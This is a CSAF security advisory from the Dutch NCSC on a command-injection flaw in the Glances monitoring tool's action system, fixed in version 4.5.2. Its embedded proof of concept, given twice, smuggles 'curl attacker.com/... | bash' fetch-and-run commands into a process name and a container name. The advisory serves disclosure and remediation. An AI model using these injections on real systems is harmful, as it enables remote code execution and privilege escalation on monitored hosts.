{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-32608",
        "tracking": {
            "current_release_date": "2026-03-25T10:03:10.269902Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-32608",
            "initial_release_date": "2026-03-16T16:42:59.605161Z",
            "revision_history": [
                {
                    "date": "2026-03-16T16:42:59.605161Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (4).| CWES updated (1)."
                },
                {
                    "date": "2026-03-16T16:43:01.893979Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                },
                {
                    "date": "2026-03-18T06:38:40.005890Z",
                    "number": "3",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (3).| CWES updated (1)."
                },
                {
                    "date": "2026-03-18T06:38:49.587565Z",
                    "number": "4",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-18T07:24:58.932547Z",
                    "number": "5",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)."
                },
                {
                    "date": "2026-03-18T07:25:04.461444Z",
                    "number": "6",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-18T07:34:51.299760Z",
                    "number": "7",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-18T12:43:30.842070Z",
                    "number": "8",
                    "summary": "Source created.| CVE status created. (valid)| Products connected (1)."
                },
                {
                    "date": "2026-03-18T12:43:32.607352Z",
                    "number": "9",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-18T15:56:00.772031Z",
                    "number": "10",
                    "summary": "Source created.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-03-18T15:56:05.634116Z",
                    "number": "11",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-18T17:39:04.580966Z",
                    "number": "12",
                    "summary": "Unknown change."
                },
                {
                    "date": "2026-03-18T19:25:56.829302Z",
                    "number": "13",
                    "summary": "Products connected (1).| Product Identifiers created (1).| Exploits created (1)."
                },
                {
                    "date": "2026-03-18T19:25:59.076262Z",
                    "number": "14",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-19T06:43:07.205880Z",
                    "number": "15",
                    "summary": "Description created for source."
                },
                {
                    "date": "2026-03-19T15:31:24.894281Z",
                    "number": "16",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (4).| CWES updated (1)."
                },
                {
                    "date": "2026-03-19T15:31:31.920199Z",
                    "number": "17",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-20T09:29:55.212889Z",
                    "number": "18",
                    "summary": "Source connected.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-03-20T19:56:07.202242Z",
                    "number": "19",
                    "summary": "References created (1)."
                },
                {
                    "date": "2026-03-20T19:56:13.479906Z",
                    "number": "20",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-23T05:16:30.469873Z",
                    "number": "21",
                    "summary": "References removed (1)."
                },
                {
                    "date": "2026-03-24T20:56:55.874236Z",
                    "number": "22",
                    "summary": "References created (1)."
                },
                {
                    "date": "2026-03-24T20:56:59.125673Z",
                    "number": "23",
                    "summary": "NCSC Score updated."
                }
            ],
            "status": "interim",
            "version": "23"
        }
    },
    "product_tree": {
        "branches": [
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "branches": [
                                    {
                                        "category": "product_version_range",
                                        "name": "vers:deb/unknown",
                                        "product": {
                                            "name": "vers:deb/unknown",
                                            "product_id": "CSAFPID-5843883"
                                        }
                                    }
                                ],
                                "category": "product_name",
                                "name": "glances"
                            }
                        ],
                        "category": "product_family",
                        "name": "bookworm"
                    }
                ],
                "category": "vendor",
                "name": "Debian"
            },
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<4.5.2",
                                "product": {
                                    "name": "vers:unknown/<4.5.2",
                                    "product_id": "CSAFPID-5841720",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:nicolargo:glances:*:*:*:*:*:*:*:*"
                                    }
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "glances"
                    }
                ],
                "category": "vendor",
                "name": "nicolargo"
            }
        ]
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-32608",
            "cwe": {
                "id": "CWE-78",
                "name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"
            },
            "notes": [
                {
                    "category": "description",
                    "text": "## Summary\n\nThe Glances action system allows administrators to configure shell commands that execute when monitoring thresholds are exceeded. These commands support Mustache template variables (e.g., `{{name}}`, `{{key}}`) that are populated with runtime monitoring data. The `secure_popen()` function, which executes these commands, implements its own pipe, redirect, and chain operator handling by splitting the command string before passing each segment to `subprocess.Popen(shell=False)`. When a Mustache-rendered value (such as a process name, filesystem mount point, or container name) contains pipe, redirect, or chain metacharacters, the rendered command is split in unintended ways, allowing an attacker who controls a process name or container name to inject arbitrary commands.\n\n## Details\n\n**The action execution flow:**\n\n1. Admin configures an action in glances.conf (documented feature):\n\n```ini\n[cpu]\ncritical_action=echo \"High CPU on {{name}}\" | mail admin@example.com\n```\n\n2. When the threshold is exceeded, the plugin model renders the template with runtime stats (glances/plugins/plugin/model.py:943):\n\n```python\nself.actions.run(stat_name, trigger, command, repeat, mustache_dict=mustache_dict)\n```\n\n3. The mustache_dict contains the full stat dictionary, including user-controllable fields like process name, filesystem mnt_point, container name, etc. (glances/plugins/plugin/model.py:920-943).\n\n4. In glances/actions.py:77-78, the Mustache library renders the template:\n\n```python\nif chevron_tag:\n    cmd_full = chevron.render(cmd, mustache_dict)\n```\n\n5. The rendered command is passed to secure_popen() (glances/actions.py:84):\n\n```python\nret = secure_popen(cmd_full)\n```\n\n**The secure_popen vulnerability** (glances/secure.py:17-30):\n\n```python\ndef secure_popen(cmd):\n    ret = \"\"\n    for c in cmd.split(\"&&\"):\n        ret += __secure_popen(c)\n    return ret\n```\n\nAnd __secure_popen() (glances/secure.py:33-77) splits by > and | then calls Popen(sub_cmd_split, shell=False) for each segment. The function splits the ENTIRE command string (including Mustache-rendered user data) by &&, >, and | characters, then executes each segment as a separate subprocess.\n\nAdditionally, the redirect handler at line 69-72 writes to arbitrary file paths:\n\n```python\nif stdout_redirect is not None:\n    with open(stdout_redirect, \"w\") as stdout_redirect_file:\n        stdout_redirect_file.write(ret)\n```\n\n## PoC\n\n**Scenario 1: Command injection via pipe in process name**\n\n```bash\n# 1. Admin configures processlist action in glances.conf:\n# [processlist]\n# critical_action=echo \"ALERT: {{name}} used {{cpu_percent}}% CPU\" >> /tmp/alerts.log\n\n# 2. Attacker creates a process with a crafted name containing a pipe:\ncp /bin/sleep \"/tmp/innocent|curl attacker.com/evil.sh|bash\"\n\"/tmp/innocent|curl attacker.com/evil.sh|bash\" 9999 &\n\n# 3. When the process triggers a critical alert, secure_popen splits by |:\n#   Command 1: echo \"ALERT: innocent\n#   Command 2: curl attacker.com/evil.sh   <-- INJECTED\n#   Command 3: bash used 99% CPU\" >> /tmp/alerts.log\n```\n\n**Scenario 2: Command chain via && in container name**\n\n```bash\n# 1. Admin configures containers action:\n# [containers]\n# critical_action=docker stats {{name}} --no-stream\n\n# 2. Attacker names a Docker container with && injection:\ndocker run --name \"web && curl attacker.com/rev.sh | bash && echo \" nginx\n\n# 3. secure_popen splits by &&:\n#   Command 1: docker stats web\n#   Command 2: curl attacker.com/rev.sh | bash   <-- INJECTED\n#   Command 3: echo --no-stream\n```\n\n## Impact\n\n- **Arbitrary command execution:** An attacker who can control a process name, container name, filesystem mount point, or other monitored entity name can execute arbitrary commands as the Glances process user (often root).\n\n- **Privilege escalation:** If Glances runs as root (common for full system monitoring), a low-privileged user who can create processes can escalate to root.\n\n- **Arbitrary file write:** The > redirect handling in secure_popen enables writing arbitrary content to arbitrary file paths.\n\n- **Preconditions:** Requires admin-configured action templates referencing user-controllable fields + attacker ability to run processes on monitored system.\n\n## Recommended Fix\n\nSanitize Mustache-rendered values before secure_popen processes them:\n\n```python\n# glances/actions.py\n\ndef _escape_for_secure_popen(value):\n    \"\"\"Escape characters that secure_popen treats as operators.\"\"\"\n    if not isinstance(value, str):\n        return value\n    value = value.replace(\"&&\", \" \")\n    value = value.replace(\"|\", \" \")\n    value = value.replace(\">\", \" \")\n    return value\n\ndef run(self, stat_name, criticality, commands, repeat, mustache_dict=None):\n    for cmd in commands:\n        if chevron_tag:\n            if mustache_dict:\n                safe_dict = {\n                    k: _escape_for_secure_popen(v) if isinstance(v, str) else v\n                    for k, v in mustache_dict.items()\n                }\n            else:\n                safe_dict = mustache_dict\n            cmd_full = chevron.render(cmd, safe_dict)\n        else:\n            cmd_full = cmd\n        ...\n```",
                    "title": "github - https://github.com/advisories/GHSA-vcv2-q258-wrg7"
                },
                {
                    "category": "description",
                    "text": "Glances is an open-source system cross-platform monitoring tool. The Glances action system allows administrators to configure shell commands that execute when monitoring thresholds are exceeded. These commands support Mustache template variables (e.g., `{{name}}`, `{{key}}`) that are populated with runtime monitoring data. The `secure_popen()` function, which executes these commands, implements its own pipe, redirect, and chain operator handling by splitting the command string before passing each segment to `subprocess.Popen(shell=False)`. Prior to 4.5.2, when a Mustache-rendered value (such as a process name, filesystem mount point, or container name) contains pipe, redirect, or chain metacharacters, the rendered command is split in unintended ways, allowing an attacker who controls a process name or container name to inject arbitrary commands. Version 4.5.2 fixes the issue.",
                    "title": "cveprojectv5 - https://www.cve.org/CVERecord?id=CVE-2026-32608"
                },
                {
                    "category": "description",
                    "text": "Glances is an open-source system cross-platform monitoring tool. The Glances action system allows administrators to configure shell commands that execute when monitoring thresholds are exceeded. These commands support Mustache template variables (e.g., `{{name}}`, `{{key}}`) that are populated with runtime monitoring data. The `secure_popen()` function, which executes these commands, implements its own pipe, redirect, and chain operator handling by splitting the command string before passing each segment to `subprocess.Popen(shell=False)`. Prior to 4.5.2, when a Mustache-rendered value (such as a process name, filesystem mount point, or container name) contains pipe, redirect, or chain metacharacters, the rendered command is split in unintended ways, allowing an attacker who controls a process name or container name to inject arbitrary commands. Version 4.5.2 fixes the issue.",
                    "title": "nvd - https://nvd.nist.gov/vuln/detail/CVE-2026-32608"
                },
                {
                    "category": "description",
                    "text": "Glances is an open-source system cross-platform monitoring tool. The Glances action system allows administrators to configure shell commands that execute when monitoring thresholds are exceeded. These commands support Mustache template variables (e.g., `{{name}}`, `{{key}}`) that are populated with runtime monitoring data. The `secure_popen()` function, which executes these commands, implements its own pipe, redirect, and chain operator handling by splitting the command string before passing each segment to `subprocess.Popen(shell=False)`. Prior to 4.5.2, when a Mustache-rendered value (such as a process name, filesystem mount point, or container name) contains pipe, redirect, or chain metacharacters, the rendered command is split in unintended ways, allowing an attacker who controls a process name or container name to inject arbitrary commands. Version 4.5.2 fixes the issue.",
                    "title": "debian - https://security-tracker.debian.org/tracker/CVE-2026-32608"
                },
                {
                    "category": "description",
                    "text": "## Summary\n\nThe Glances action system allows administrators to configure shell commands that execute when monitoring thresholds are exceeded. These commands support Mustache template variables (e.g., `{{name}}`, `{{key}}`) that are populated with runtime monitoring data. The `secure_popen()` function, which executes these commands, implements its own pipe, redirect, and chain operator handling by splitting the command string before passing each segment to `subprocess.Popen(shell=False)`. When a Mustache-rendered value (such as a process name, filesystem mount point, or container name) contains pipe, redirect, or chain metacharacters, the rendered command is split in unintended ways, allowing an attacker who controls a process name or container name to inject arbitrary commands.\n\n## Details\n\n**The action execution flow:**\n\n1. Admin configures an action in glances.conf (documented feature):\n\n```ini\n[cpu]\ncritical_action=echo \"High CPU on {{name}}\" | mail admin@example.com\n```\n\n2. When the threshold is exceeded, the plugin model renders the template with runtime stats (glances/plugins/plugin/model.py:943):\n\n```python\nself.actions.run(stat_name, trigger, command, repeat, mustache_dict=mustache_dict)\n```\n\n3. The mustache_dict contains the full stat dictionary, including user-controllable fields like process name, filesystem mnt_point, container name, etc. (glances/plugins/plugin/model.py:920-943).\n\n4. In glances/actions.py:77-78, the Mustache library renders the template:\n\n```python\nif chevron_tag:\n    cmd_full = chevron.render(cmd, mustache_dict)\n```\n\n5. The rendered command is passed to secure_popen() (glances/actions.py:84):\n\n```python\nret = secure_popen(cmd_full)\n```\n\n**The secure_popen vulnerability** (glances/secure.py:17-30):\n\n```python\ndef secure_popen(cmd):\n    ret = \"\"\n    for c in cmd.split(\"&&\"):\n        ret += __secure_popen(c)\n    return ret\n```\n\nAnd __secure_popen() (glances/secure.py:33-77) splits by > and | then calls Popen(sub_cmd_split, shell=False) for each segment. The function splits the ENTIRE command string (including Mustache-rendered user data) by &&, >, and | characters, then executes each segment as a separate subprocess.\n\nAdditionally, the redirect handler at line 69-72 writes to arbitrary file paths:\n\n```python\nif stdout_redirect is not None:\n    with open(stdout_redirect, \"w\") as stdout_redirect_file:\n        stdout_redirect_file.write(ret)\n```\n\n## PoC\n\n**Scenario 1: Command injection via pipe in process name**\n\n```bash\n# 1. Admin configures processlist action in glances.conf:\n# [processlist]\n# critical_action=echo \"ALERT: {{name}} used {{cpu_percent}}% CPU\" >> /tmp/alerts.log\n\n# 2. Attacker creates a process with a crafted name containing a pipe:\ncp /bin/sleep \"/tmp/innocent|curl attacker.com/evil.sh|bash\"\n\"/tmp/innocent|curl attacker.com/evil.sh|bash\" 9999 &\n\n# 3. When the process triggers a critical alert, secure_popen splits by |:\n#   Command 1: echo \"ALERT: innocent\n#   Command 2: curl attacker.com/evil.sh   <-- INJECTED\n#   Command 3: bash used 99% CPU\" >> /tmp/alerts.log\n```\n\n**Scenario 2: Command chain via && in container name**\n\n```bash\n# 1. Admin configures containers action:\n# [containers]\n# critical_action=docker stats {{name}} --no-stream\n\n# 2. Attacker names a Docker container with && injection:\ndocker run --name \"web && curl attacker.com/rev.sh | bash && echo \" nginx\n\n# 3. secure_popen splits by &&:\n#   Command 1: docker stats web\n#   Command 2: curl attacker.com/rev.sh | bash   <-- INJECTED\n#   Command 3: echo --no-stream\n```\n\n## Impact\n\n- **Arbitrary command execution:** An attacker who can control a process name, container name, filesystem mount point, or other monitored entity name can execute arbitrary commands as the Glances process user (often root).\n\n- **Privilege escalation:** If Glances runs as root (common for full system monitoring), a low-privileged user who can create processes can escalate to root.\n\n- **Arbitrary file write:** The > redirect handling in secure_popen enables writing arbitrary content to arbitrary file paths.\n\n- **Preconditions:** Requires admin-configured action templates referencing user-controllable fields + attacker ability to run processes on monitored system.\n\n## Recommended Fix\n\nSanitize Mustache-rendered values before secure_popen processes them:\n\n```python\n# glances/actions.py\n\ndef _escape_for_secure_popen(value):\n    \"\"\"Escape characters that secure_popen treats as operators.\"\"\"\n    if not isinstance(value, str):\n        return value\n    value = value.replace(\"&&\", \" \")\n    value = value.replace(\"|\", \" \")\n    value = value.replace(\">\", \" \")\n    return value\n\ndef run(self, stat_name, criticality, commands, repeat, mustache_dict=None):\n    for cmd in commands:\n        if chevron_tag:\n            if mustache_dict:\n                safe_dict = {\n                    k: _escape_for_secure_popen(v) if isinstance(v, str) else v\n                    for k, v in mustache_dict.items()\n                }\n            else:\n                safe_dict = mustache_dict\n            cmd_full = chevron.render(cmd, safe_dict)\n        else:\n            cmd_full = cmd\n        ...\n```",
                    "title": "github - https://api.github.com/advisories/GHSA-vcv2-q258-wrg7"
                },
                {
                    "category": "other",
                    "text": "0.00018",
                    "title": "EPSS"
                },
                {
                    "category": "other",
                    "text": "3.7",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "Exploit code publicly available, The value of the most recent EPSS score, There is exploit data available from source Nvd, The value of the most recent CVSS (V3) score",
                    "title": "NCSC Score top decreasing factors"
                }
            ],
            "product_status": {
                "known_affected": [
                    "CSAFPID-5841720",
                    "CSAFPID-5843883"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://github.com/advisories/GHSA-vcv2-q258-wrg7"
                },
                {
                    "category": "external",
                    "summary": "Source raw - github",
                    "url": "https://api.github.com/advisories/GHSA-vcv2-q258-wrg7"
                },
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://www.cve.org/CVERecord?id=CVE-2026-32608"
                },
                {
                    "category": "external",
                    "summary": "Source raw - cveprojectv5",
                    "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/32xxx/CVE-2026-32608.json"
                },
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32608"
                },
                {
                    "category": "external",
                    "summary": "Source raw - nvd",
                    "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-32608"
                },
                {
                    "category": "external",
                    "summary": "Source - debian",
                    "url": "https://security-tracker.debian.org/tracker/CVE-2026-32608"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-32608"
                },
                {
                    "category": "external",
                    "summary": "Source raw - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://api.github.com/advisories/GHSA-vcv2-q258-wrg7"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd",
                    "url": "https://github.com/nicolargo/glances/security/advisories/GHSA-vcv2-q258-wrg7"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd",
                    "url": "https://github.com/nicolargo/glances/commit/6f4ec53d967478e69917078e6f73f448001bf107"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd",
                    "url": "https://github.com/nicolargo/glances/releases/tag/v4.5.2"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-vcv2-q258-wrg7"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32608"
                }
            ],
            "scores": [
                {
                    "cvss_v3": {
                        "version": "3.1",
                        "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
                        "baseScore": 7.0,
                        "baseSeverity": "HIGH"
                    },
                    "products": [
                        "CSAFPID-5841720",
                        "CSAFPID-5843883"
                    ]
                }
            ],
            "title": "CVE-2026-32608"
        }
    ]
}